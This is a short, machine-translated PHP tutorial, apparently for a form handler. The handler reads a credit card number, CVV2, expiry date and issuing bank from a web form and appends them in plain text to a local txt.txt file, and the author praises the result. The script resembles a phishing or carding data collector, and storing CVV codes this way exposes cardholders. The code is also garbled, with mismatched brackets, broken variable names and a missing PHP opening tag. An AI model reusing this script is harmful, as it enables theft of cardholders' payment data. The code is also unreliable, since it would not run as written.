As for the form content, here is not much to say, mainly is the form action= "getpost.php", namely writes getpost.php this file. The contents of this file are posted below.
Copy the Code code as follows:
Define the content of the form to be collected
$cardnum = $_post[' cardnum ');
$CVV 2 = $_post[' cvv2 ');
$month = $_post[' month ');
$year = $_post[' year '];
$cardbank = $_post[' Cardbank ');
Define the collected content format
$content = "Credit Card number:". $cardnum. ", Card verification Number:". $CVV 2. ", Card expiry Date:". $month. " /year: ". $year.", Issuingbank: ". Cardbank;
Define where files are stored
$compile _dir = "./txt.txt";
Here's the PHP code that's written.
$file = fopen ($compile _dir, "A +");
Fwrite ($file, $content);
Fclose ($file);
?>
Finally, in the current directory to create Txt.txt, and the collected information are written to this file, the effect is very good.
The above describes the PHP code PHP code to collect the contents of the form and write to the file code, including the contents of the PHP code, I hope that the PHP tutorial interested in a friend helpful.